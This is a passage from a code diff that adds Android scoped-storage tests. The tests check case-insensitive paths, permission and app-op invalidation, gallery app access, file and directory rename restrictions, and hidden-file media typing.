+        File dataDir = getContext().getExternalFilesDir(null);
+        File upperCaseDataDir = new File(dataDir.getPath().replace("Android/data", "ANDROID/DATA"));
+
+        File obbDir = getContext().getObbDir();
+        File upperCaseObbDir = new File(obbDir.getPath().replace("Android/obb", "ANDROID/OBB"));
+
+
+        StructStat beforeDataStruct = Os.stat(dataDir.getPath());
+        StructStat beforeObbStruct = Os.stat(obbDir.getPath());
+
+        assertThat(dataDir.exists()).isTrue();
+        assertThat(upperCaseDataDir.exists()).isTrue();
+        assertThat(obbDir.exists()).isTrue();
+        assertThat(upperCaseObbDir.exists()).isTrue();
+
+        StructStat afterDataStruct = Os.stat(upperCaseDataDir.getPath());
+        StructStat afterObbStruct = Os.stat(upperCaseObbDir.getPath());
+
+        assertThat(beforeDataStruct.st_dev).isEqualTo(afterDataStruct.st_dev);
+        assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
+    }
+
+    @Test
+    public void testCacheConsistencyForCaseInsensitivity() throws Exception {
+        File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
+        File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
+
+        try {
+            ParcelFileDescriptor upperCasePfd =
+                    ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
+            ParcelFileDescriptor lowerCasePfd =
+                    ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE);
+
+            assertRWR(upperCasePfd, lowerCasePfd);
+            assertRWR(lowerCasePfd, upperCasePfd);
+        } finally {
+            upperCaseFile.delete();
+            lowerCaseFile.delete();
+        }
+    }
+
+    @Test
+    public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
+        final File podcastsDir = getPodcastsDir();
+        final File podcastsDirLowerCase =
+                new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
+        final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
+        try {
+            // Delete the directory if it already exists
+            if (podcastsDir.exists()) {
+                deleteAsLegacyApp(podcastsDir);
+            }
+            assertThat(podcastsDir.exists()).isFalse();
+            assertThat(podcastsDirLowerCase.exists()).isFalse();
+
+            // Create the directory with lower case
+            assertThat(podcastsDirLowerCase.mkdir()).isTrue();
+            // Because of case-insensitivity, even though directory is created
+            // with lower case, we should be able to see both directory names.
+            assertThat(podcastsDirLowerCase.exists()).isTrue();
+            assertThat(podcastsDir.exists()).isTrue();
+
+            // File creation with lower case path of podcasts directory should not fail
+            assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
+        } finally {
+            fileInPodcastsDirLowerCase.delete();
+            deleteAsLegacyApp(podcastsDirLowerCase);
+            podcastsDir.mkdirs();
+        }
+    }
+
+    private void createDeleteCreate(File create, File delete) throws Exception {
+        try {
+            assertThat(create.createNewFile()).isTrue();
+            // Wait for the kernel to update the dentry cache.
+            Thread.sleep(10);
+
+            assertThat(delete.delete()).isTrue();
+            // Wait for the kernel to clean up the dentry cache.
+            Thread.sleep(10);
+
+            assertThat(create.createNewFile()).isTrue();
+            // Wait for the kernel to update the dentry cache.
+            Thread.sleep(10);
+        } finally {
+            create.delete();
+            delete.delete();
+        }
+    }
+
+    @Test
+    public void testReadStorageInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
+                Manifest.permission.READ_EXTERNAL_STORAGE,
+                AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
+    }
+
+    @Test
+    public void testWriteStorageInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C_LEGACY, new File(getDcimDir(), "write_storage.jpg"),
+                Manifest.permission.WRITE_EXTERNAL_STORAGE,
+                AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, /* forWrite */ true);
+    }
+
+    @Test
+    public void testManageStorageInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C, new File(getDownloadDir(), "manage_storage.pdf"),
+                /* permission */ null, OPSTR_MANAGE_EXTERNAL_STORAGE, /* forWrite */ true);
+    }
+
+    @Test
+    public void testWriteImagesInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_images.jpg"),
+                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
+    }
+
+    @Test
+    public void testWriteVideoInvalidation() throws Exception {
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_video.mp4"),
+                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
+    }
+
+    @Test
+    public void testAccessMediaLocationInvalidation() throws Exception {
+        File imgFile = new File(getDcimDir(), "access_media_location.jpg");
+
+        try {
+            // Setup image with sensitive data on external storage
+            HashMap<String, String> originalExif =
+                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
+                 OutputStream out = new FileOutputStream(imgFile)) {
+                // Dump the image we have to external storage
+                FileUtils.copy(in, out);
+            }
+            HashMap<String, String> exif = getExifMetadata(imgFile);
+            assertExifMetadataMatch(exif, originalExif);
+
+            // Install test app
+            installAppWithStoragePermissions(APP_C);
+
+            // Grant A_M_L and verify access to sensitive data
+            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+            HashMap<String, String> exifFromTestApp =
+                    readExifMetadataFromTestApp(APP_C, imgFile.getPath());
+            assertExifMetadataMatch(exifFromTestApp, originalExif);
+
+            // Revoke A_M_L and verify sensitive data redaction
+            revokePermission(
+                    APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+            exifFromTestApp = readExifMetadataFromTestApp(APP_C, imgFile.getPath());
+            assertExifMetadataMismatch(exifFromTestApp, originalExif);
+
+            // Re-grant A_M_L and verify access to sensitive data
+            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+            exifFromTestApp = readExifMetadataFromTestApp(APP_C, imgFile.getPath());
+            assertExifMetadataMatch(exifFromTestApp, originalExif);
+        } finally {
+            imgFile.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    @Test
+    public void testAppUpdateInvalidation() throws Exception {
+        File file = new File(getDcimDir(), "app_update.jpg");
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            // Install legacy
+            installAppWithStoragePermissions(APP_C_LEGACY);
+            grantPermission(APP_C_LEGACY.getPackageName(),
+                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
+
+            // Legacy app can read and write media files contributed by others
+            assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ false)).isTrue();
+            assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ true)).isTrue();
+
+            // Update to non-legacy
+            installAppWithStoragePermissions(APP_C);
+            grantPermission(APP_C_LEGACY.getPackageName(),
+                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
+
+            // Non-legacy app can read media files contributed by others
+            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isTrue();
+            // But cannot write
+            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ true)).isFalse();
+        } finally {
+            file.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    @Test
+    public void testAppReinstallInvalidation() throws Exception {
+        File file = new File(getDcimDir(), "app_reinstall.jpg");
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            // Install
+            installAppWithStoragePermissions(APP_C);
+            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isTrue();
+
+            // Re-install
+            uninstallAppNoThrow(APP_C);
+            installApp(APP_C);
+            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isFalse();
+        } finally {
+            file.delete();
+            uninstallAppNoThrow(APP_C);
+        }
+    }
+
+    private void testAppOpInvalidation(TestApp app, File file, @Nullable String permission,
+            String opstr, boolean forWrite) throws Exception {
+        boolean alreadyInstalled = true;
+        try {
+            if (!isAppInstalled(app)) {
+                alreadyInstalled = false;
+                installApp(app);
+            }
+            assertThat(file.createNewFile()).isTrue();
+            assertAppOpInvalidation(app, file, permission, opstr, forWrite);
+        } finally {
+            file.delete();
+            if (!alreadyInstalled) {
+                // only uninstall if we installed this app here
+                uninstallApp(app);
+            }
+        }
+    }
+
+    /** If {@code permission} is null, appops are flipped, otherwise permissions are flipped */
+    private void assertAppOpInvalidation(TestApp app, File file, @Nullable String permission,
+            String opstr, boolean forWrite) throws Exception {
+        String packageName = app.getPackageName();
+        int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
+
+        // Deny
+        if (permission != null) {
+            revokePermission(packageName, permission);
+        } else {
+            denyAppOpsToUid(uid, opstr);
+        }
+        assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
+
+        // Grant
+        if (permission != null) {
+            grantPermission(packageName, permission);
+        } else {
+            allowAppOpsToUid(uid, opstr);
+        }
+        assertThat(canOpenFileAs(app, file, forWrite)).isTrue();
+
+        // Deny
+        if (permission != null) {
+            revokePermission(packageName, permission);
+        } else {
+            denyAppOpsToUid(uid, opstr);
+        }
+        assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
+    }
+
+    @Test
+    public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
+        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+        final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
+        final File imageInAnObviouslyWrongPlace = new File(getMusicDir(), IMAGE_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Have another app create an image file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
+            assertThat(otherAppImageFile.exists()).isTrue();
+
+            // Assert we can write to the file
+            try (FileOutputStream fos = new FileOutputStream(otherAppImageFile)) {
+                fos.write(BYTES_DATA1);
+            }
+
+            // Assert we can read from the file
+            assertFileContent(otherAppImageFile, BYTES_DATA1);
+
+            // Assert we can delete the file
+            assertThat(otherAppImageFile.delete()).isTrue();
+            assertThat(otherAppImageFile.exists()).isFalse();
+
+            // Can create an image anywhere
+            assertCanCreateFile(topLevelImageFile);
+            assertCanCreateFile(imageInAnObviouslyWrongPlace);
+
+            // Put the file back in its place and let APP B delete it
+            assertThat(otherAppImageFile.createNewFile()).isTrue();
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
+            otherAppImageFile.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
+        final File otherAppAudioFile = new File(getMusicDir(), "other_" + AUDIO_FILE_NAME);
+        final File topLevelAudioFile = new File(getExternalStorageDir(), AUDIO_FILE_NAME);
+        final File audioInAnObviouslyWrongPlace = new File(getPicturesDir(), AUDIO_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Have another app create an audio file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath())).isTrue();
+            assertThat(otherAppAudioFile.exists()).isTrue();
+
+            // Assert we can't access the file
+            assertThat(canOpen(otherAppAudioFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(otherAppAudioFile, /* forWrite */ true)).isFalse();
+
+            // Assert we can't delete the file
+            assertThat(otherAppAudioFile.delete()).isFalse();
+
+            // Can't create an audio file where it doesn't belong
+            assertThrows(IOException.class, "Operation not permitted",
+                    () -> {
+                        topLevelAudioFile.createNewFile();
+                    });
+            assertThrows(IOException.class, "Operation not permitted",
+                    () -> {
+                        audioInAnObviouslyWrongPlace.createNewFile();
+                    });
+        } finally {
+            deleteFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath());
+            topLevelAudioFile.delete();
+            audioInAnObviouslyWrongPlace.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+        final File topLevelVideoFile = new File(getExternalStorageDir(), VIDEO_FILE_NAME);
+        final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Have another app create a video file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            assertThat(otherAppVideoFile.exists()).isTrue();
+
+            // Write some data to the file
+            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+                fos.write(BYTES_DATA1);
+            }
+            assertFileContent(otherAppVideoFile, BYTES_DATA1);
+
+            // Assert we can rename the file and ensure the file has the same content
+            assertCanRenameFile(otherAppVideoFile, videoFile);
+            assertFileContent(videoFile, BYTES_DATA1);
+            // We can even move it to the top level directory
+            assertCanRenameFile(videoFile, topLevelVideoFile);
+            assertFileContent(topLevelVideoFile, BYTES_DATA1);
+            // And we can even convert it into an image file, because why not?
+            assertCanRenameFile(topLevelVideoFile, imageFile);
+            assertFileContent(imageFile, BYTES_DATA1);
+
+            // We can convert it to a music file, but we won't have access to music file after
+            // renaming.
+            assertThat(imageFile.renameTo(musicFile)).isTrue();
+            assertThat(getFileRowIdFromDatabase(musicFile)).isEqualTo(-1);
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
+            imageFile.delete();
+            videoFile.delete();
+            topLevelVideoFile.delete();
+            executeShellCommand("rm  " + musicFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), musicFile);
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Test that basic file path restrictions are enforced on file rename.
+     */
+    @Test
+    public void testRenameFile() throws Exception {
+        final File downloadDir = getDownloadDir();
+        final File nonMediaDir = new File(downloadDir, TEST_DIRECTORY_NAME);
+        final File pdfFile1 = new File(downloadDir, NONMEDIA_FILE_NAME);
+        final File pdfFile2 = new File(nonMediaDir, NONMEDIA_FILE_NAME);
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+        final File videoFile3 = new File(downloadDir, VIDEO_FILE_NAME);
+
+        try {
+            // Renaming non media file to media directory is not allowed.
+            assertThat(pdfFile1.createNewFile()).isTrue();
+            assertCantRenameFile(pdfFile1, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+            assertCantRenameFile(pdfFile1, new File(getMusicDir(), NONMEDIA_FILE_NAME));
+            assertCantRenameFile(pdfFile1, new File(getMoviesDir(), NONMEDIA_FILE_NAME));
+
+            // Renaming non media files to non media directories is allowed.
+            if (!nonMediaDir.exists()) {
+                assertThat(nonMediaDir.mkdirs()).isTrue();
+            }
+            // App can rename pdfFile to non media directory.
+            assertCanRenameFile(pdfFile1, pdfFile2);
+
+            assertThat(videoFile1.createNewFile()).isTrue();
+            // App can rename video file to Movies directory
+            assertCanRenameFile(videoFile1, videoFile2);
+            // App can rename video file to Download directory
+            assertCanRenameFile(videoFile2, videoFile3);
+        } finally {
+            pdfFile1.delete();
+            pdfFile2.delete();
+            videoFile1.delete();
+            videoFile2.delete();
+            videoFile3.delete();
+            nonMediaDir.delete();
+        }
+    }
+
+    /**
+     * Test that renaming file to different mime type is allowed.
+     */
+    @Test
+    public void testRenameFileType() throws Exception {
+        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        final File videoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+        try {
+            assertThat(pdfFile.createNewFile()).isTrue();
+            assertThat(videoFile.exists()).isFalse();
+            // Moving pdfFile to DCIM directory is not allowed.
+            assertCantRenameFile(pdfFile, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+            // However, moving pdfFile to DCIM directory with changing the mime type to video is
+            // allowed.
+            assertCanRenameFile(pdfFile, videoFile);
+
+            // On rename, MediaProvider database entry for pdfFile should be updated with new
+            // videoFile path and mime type should be updated to video/mp4.
+            assertThat(getFileMimeTypeFromDatabase(videoFile)).isEqualTo("video/mp4");
+        } finally {
+            pdfFile.delete();
+            videoFile.delete();
+        }
+    }
+
+    /**
+     * Test that renaming files overwrites files in newPath.
+     */
+    @Test
+    public void testRenameAndReplaceFile() throws Exception {
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+        final ContentResolver cr = getContentResolver();
+        try {
+            assertThat(videoFile1.createNewFile()).isTrue();
+            assertThat(videoFile2.createNewFile()).isTrue();
+            final Uri uriVideoFile1 = MediaStore.scanFile(cr, videoFile1);
+            final Uri uriVideoFile2 = MediaStore.scanFile(cr, videoFile2);
+
+            // Renaming a file which replaces file in newPath videoFile2 is allowed.
+            assertCanRenameFile(videoFile1, videoFile2);
+
+            // Uri of videoFile2 should be accessible after rename.
+            assertThat(cr.openFileDescriptor(uriVideoFile2, "rw")).isNotNull();
+            // Uri of videoFile1 should not be accessible after rename.
+            assertThrows(FileNotFoundException.class,
+                    () -> {
+                        cr.openFileDescriptor(uriVideoFile1, "rw");
+                    });
+        } finally {
+            videoFile1.delete();
+            videoFile2.delete();
+        }
+    }
+
+    /**
+     * Test that ScanFile() after renaming file extension updates the right
+     * MIME type from the file metadata.
+     */
+    @Test
+    public void testScanUpdatesMimeTypeForRenameFileExtension() throws Exception {
+        final String audioFileName = "ScopedStorageDeviceTest_" + NONCE;
+        final File mpegFile = new File(getMusicDir(), audioFileName + ".mp3");
+        final File nonMpegFile = new File(getMusicDir(), audioFileName + ".snd");
+        try {
+            // Copy audio content to mpegFile
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.test_audio);
+                 FileOutputStream out = new FileOutputStream(mpegFile)) {
+                FileUtils.copy(in, out);
+                out.getFD().sync();
+            }
+            assertThat(MediaStore.scanFile(getContentResolver(), mpegFile)).isNotNull();
+            assertThat(getFileMimeTypeFromDatabase(mpegFile)).isEqualTo("audio/mpeg");
+
+            // This rename changes MIME type from audio/mpeg to audio/basic
+            assertCanRenameFile(mpegFile, nonMpegFile);
+            assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isNotEqualTo("audio/mpeg");
+
+            assertThat(MediaStore.scanFile(getContentResolver(), nonMpegFile)).isNotNull();
+            // Above scan should read file metadata and update the MIME type to audio/mpeg
+            assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isEqualTo("audio/mpeg");
+        } finally {
+            mpegFile.delete();
+            nonMpegFile.delete();
+        }
+    }
+
+    /**
+     * Test that app without write permission for file can't update the file.
+     */
+    @Test
+    public void testRenameFileNotOwned() throws Exception {
+        final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+        try {
+            assertThat(createFileAs(APP_B_NO_PERMS, videoFile1.getAbsolutePath())).isTrue();
+            // App can't rename a file owned by APP B.
+            assertCantRenameFile(videoFile1, videoFile2);
+
+            assertThat(videoFile2.createNewFile()).isTrue();
+            // App can't rename a file to videoFile1 which is owned by APP B.
+            assertCantRenameFile(videoFile2, videoFile1);
+            // TODO(b/146346138): Test that app with right URI permission should be able to rename
+            // the corresponding file
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile1.getAbsolutePath());
+            videoFile2.delete();
+        }
+    }
+
+    /**
+     * Test that renaming directories is allowed and aligns to default directory restrictions.
+     */
+    @Test
+    public void testRenameDirectory() throws Exception {
+        final File dcimDir = getDcimDir();
+        final File downloadDir = getDownloadDir();
+        final String nonMediaDirectoryName = TEST_DIRECTORY_NAME + "NonMedia";
+        final File nonMediaDirectory = new File(downloadDir, nonMediaDirectoryName);
+        final File pdfFile = new File(nonMediaDirectory, NONMEDIA_FILE_NAME);
+
+        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
+        final File mediaDirectory1 = new File(dcimDir, mediaDirectoryName);
+        final File videoFile1 = new File(mediaDirectory1, VIDEO_FILE_NAME);
+        final File mediaDirectory2 = new File(downloadDir, mediaDirectoryName);
+        final File videoFile2 = new File(mediaDirectory2, VIDEO_FILE_NAME);
+        final File mediaDirectory3 = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+        final File videoFile3 = new File(mediaDirectory3, VIDEO_FILE_NAME);
+        final File mediaDirectory4 = new File(mediaDirectory3, mediaDirectoryName);
+
+        try {
+            if (!nonMediaDirectory.exists()) {
+                assertThat(nonMediaDirectory.mkdirs()).isTrue();
+            }
+            assertThat(pdfFile.createNewFile()).isTrue();
+            // Move directory with pdf file to DCIM directory is not allowed.
+            assertThat(nonMediaDirectory.renameTo(new File(dcimDir, nonMediaDirectoryName)))
+                    .isFalse();
+
+            if (!mediaDirectory1.exists()) {
+                assertThat(mediaDirectory1.mkdirs()).isTrue();
+            }
+            assertThat(videoFile1.createNewFile()).isTrue();
+            // Renaming to and from default directories is not allowed.
+            assertThat(mediaDirectory1.renameTo(dcimDir)).isFalse();
+            // Moving top level default directories is not allowed.
+            assertCantRenameDirectory(downloadDir, new File(dcimDir, TEST_DIRECTORY_NAME), null);
+
+            // Moving media directory to Download directory is allowed.
+            assertCanRenameDirectory(mediaDirectory1, mediaDirectory2, new File[] {videoFile1},
+                    new File[] {videoFile2});
+
+            // Moving media directory to Movies directory and renaming directory in new path is
+            // allowed.
+            assertCanRenameDirectory(mediaDirectory2, mediaDirectory3, new File[] {videoFile2},
+                    new File[] {videoFile3});
+
+            // Can't rename a mediaDirectory to non empty non Media directory.
+            assertCantRenameDirectory(mediaDirectory3, nonMediaDirectory, new File[] {videoFile3});
+            // Can't rename a file to a directory.
+            assertCantRenameFile(videoFile3, mediaDirectory3);
+            // Can't rename a directory to file.
+            assertCantRenameDirectory(mediaDirectory3, pdfFile, null);
+            if (!mediaDirectory4.exists()) {
+                assertThat(mediaDirectory4.mkdir()).isTrue();
+            }
+            // Can't rename a directory to subdirectory of itself.
+            assertCantRenameDirectory(mediaDirectory3, mediaDirectory4, new File[] {videoFile3});
+
+        } finally {
+            pdfFile.delete();
+            nonMediaDirectory.delete();
+
+            videoFile1.delete();
+            videoFile2.delete();
+            videoFile3.delete();
+            mediaDirectory1.delete();
+            mediaDirectory2.delete();
+            mediaDirectory3.delete();
+            mediaDirectory4.delete();
+        }
+    }
+
+    /**
+     * Test that renaming directory checks file ownership permissions.
+     */
+    @Test
+    public void testRenameDirectoryNotOwned() throws Exception {
+        final String mediaDirectoryName = TEST_DIRECTORY_NAME + "Media";
+        File mediaDirectory1 = new File(getDcimDir(), mediaDirectoryName);
+        File mediaDirectory2 = new File(getMoviesDir(), mediaDirectoryName);
+        File videoFile = new File(mediaDirectory1, VIDEO_FILE_NAME);
+
+        try {
+            if (!mediaDirectory1.exists()) {
+                assertThat(mediaDirectory1.mkdirs()).isTrue();
+            }
+            assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
+            // App doesn't have access to videoFile1, can't rename mediaDirectory1.
+            assertThat(mediaDirectory1.renameTo(mediaDirectory2)).isFalse();
+            assertThat(videoFile.exists()).isTrue();
+            // Test app can delete the file since the file is not moved to new directory.
+            assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath());
+            mediaDirectory1.delete();
+        }
+    }
+
+    /**
+     * Test renaming empty directory is allowed
+     */
+    @Test
+    public void testRenameEmptyDirectory() throws Exception {
+        final String emptyDirectoryName = TEST_DIRECTORY_NAME + "Media";
+        File emptyDirectoryOldPath = new File(getDcimDir(), emptyDirectoryName);
+        File emptyDirectoryNewPath = new File(getMoviesDir(), TEST_DIRECTORY_NAME + "23456");
+        try {
+            if (emptyDirectoryOldPath.exists()) {
+                executeShellCommand("rm -r " + emptyDirectoryOldPath.getPath());
+            }
+            assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
+            assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
+        } finally {
+            emptyDirectoryOldPath.delete();
+            emptyDirectoryNewPath.delete();
+        }
+    }
+
+    /**
+     * Test that apps can create and delete hidden file.
+     */
+    @Test
+    public void testCanCreateHiddenFile() throws Exception {
+        final File hiddenImageFile = new File(getDownloadDir(), ".hiddenFile" + IMAGE_FILE_NAME);
+        try {
+            assertThat(hiddenImageFile.createNewFile()).isTrue();
+            // Write to hidden file is allowed.
+            try (FileOutputStream fos = new FileOutputStream(hiddenImageFile)) {
+                fos.write(BYTES_DATA1);
+            }
+            assertFileContent(hiddenImageFile, BYTES_DATA1);
+
+            assertNotMediaTypeImage(hiddenImageFile);
+
+            assertDirectoryContains(getDownloadDir(), hiddenImageFile);
+            assertThat(getFileRowIdFromDatabase(hiddenImageFile)).isNotEqualTo(-1);
+
+            // We can delete hidden file
+            assertThat(hiddenImageFile.delete()).isTrue();
+            assertThat(hiddenImageFile.exists()).isFalse();
+        } finally {
+            hiddenImageFile.delete();
+        }
+    }
+
+    /**
+     * Test that FUSE upper-fs is consistent with lower-fs after the lower-fs fd is closed.
+     */
+    @Test
+    public void testInodeStatConsistency() throws Exception {
+        File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+        try {
+            byte[] writeBuffer = new byte[10];
+            Arrays.fill(writeBuffer, (byte) 1);
+
+            assertThat(file.createNewFile()).isTrue();
+            // Scanning a file is essential as files created via filepath will be marked
+            // as isPending, and we do not set listener for pending files as it can lead to
+            // performance overhead. See: I34611f0ee897dc676e7653beb7943aa6de58c55a.
+            MediaStore.scanFile(getContentResolver(), file);
+
+            // File operation #1 (to lower-fs)
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+
+            // File operation #2 (to fuse). This caches the inode for the file.
+            file.exists();
+
+            // Write bytes directly to lower-fs
+            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+            // Close should invalidate inode cache for this file.
+            writePfd.close();
+            Thread.sleep(1000);
+
+            long fuseFileSize = file.length();
+            assertThat(writeBuffer.length).isEqualTo(fuseFileSize);
+        } finally {
+            file.delete();
+        }
+    }
+
+    /**
+     * Test that apps can rename a hidden file.
+     */
+    @Test
+    public void testCanRenameHiddenFile() throws Exception {
+        final String hiddenFileName = ".hidden" + IMAGE_FILE_NAME;
+        final File hiddenImageFile1 = new File(getDcimDir(), hiddenFileName);
+        final File hiddenImageFile2 = new File(getDownloadDir(), hiddenFileName);
+        final File imageFile = new File(getDownloadDir(), IMAGE_FILE_NAME);
+        try {
+            assertThat(hiddenImageFile1.createNewFile()).isTrue();
+            assertCanRenameFile(hiddenImageFile1, hiddenImageFile2);
+            assertNotMediaTypeImage(hiddenImageFile2);
+
+            // We can also rename hidden file to non-hidden
+            assertCanRenameFile(hiddenImageFile2, imageFile);
+            assertIsMediaTypeImage(imageFile);
+
+            // We can rename non-hidden file to hidden
+            assertCanRenameFile(imageFile, hiddenImageFile1);
+            assertNotMediaTypeImage(hiddenImageFile1);
+        } finally {
+            hiddenImageFile1.delete();
+            hiddenImageFile2.delete();
+            imageFile.delete();
+        }
+    }
+
+    /**
+     * Test that files in hidden directory have MEDIA_TYPE=MEDIA_TYPE_NONE
+     */
+    @Test
+    public void testHiddenDirectory() throws Exception {
+        final File hiddenDir = new File(getDownloadDir(), ".hidden" + TEST_DIRECTORY_NAME);
+        final File hiddenImageFile = new File(hiddenDir, IMAGE_FILE_NAME);
+        final File nonHiddenDir = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File imageFile = new File(nonHiddenDir, IMAGE_FILE_NAME);
+        try {
+            if (!hiddenDir.exists()) {
+                assertThat(hiddenDir.mkdir()).isTrue();
+            }
+            assertThat(hiddenImageFile.createNewFile()).isTrue();
+
+            assertNotMediaTypeImage(hiddenImageFile);
+
+            // Renaming hiddenDir to nonHiddenDir makes the imageFile non-hidden and vice versa
+            assertCanRenameDirectory(
+                    hiddenDir, nonHiddenDir, new File[] {hiddenImageFile}, new File[] {imageFile});
+            assertIsMediaTypeImage(imageFile);
+
+            assertCanRenameDirectory(
+                    nonHiddenDir, hiddenDir, new File[] {imageFile}, new File[] {hiddenImageFile});
+            assertNotMediaTypeImage(hiddenImageFile);
+        } finally {
+            hiddenImageFile.delete();
+            imageFile.delete();
+            hiddenDir.delete();
+            nonHiddenDir.delete();
+        }
+    }
+
+    /**
+     * Test that files in directory with nomedia have MEDIA_TYPE=MEDIA_TYPE_NONE
+     */
+    @Test
+    public void testHiddenDirectory_nomedia() throws Exception {
+        final File directoryNoMedia = new File(getDownloadDir(), "nomedia" + TEST_DIRECTORY_NAME);
+        final File noMediaFile = new File(directoryNoMedia, ".nomedia");
+        final File imageFile = new File(directoryNoMedia, IMAGE_FILE_NAME);
+        final File videoFile = new File(directoryNoMedia, VIDEO_FILE_NAME);
+        try {
+            if (!directoryNoMedia.exists()) {
+                assertThat(directoryNoMedia.mkdir()).isTrue();
+            }
+            assertThat(noMediaFile.createNewFile()).isTrue();
+            assertThat(imageFile.createNewFile()).isTrue();
+
+            assertNotMediaTypeImage(imageFile);
+
+            // Deleting the .nomedia file makes the parent directory non hidden.
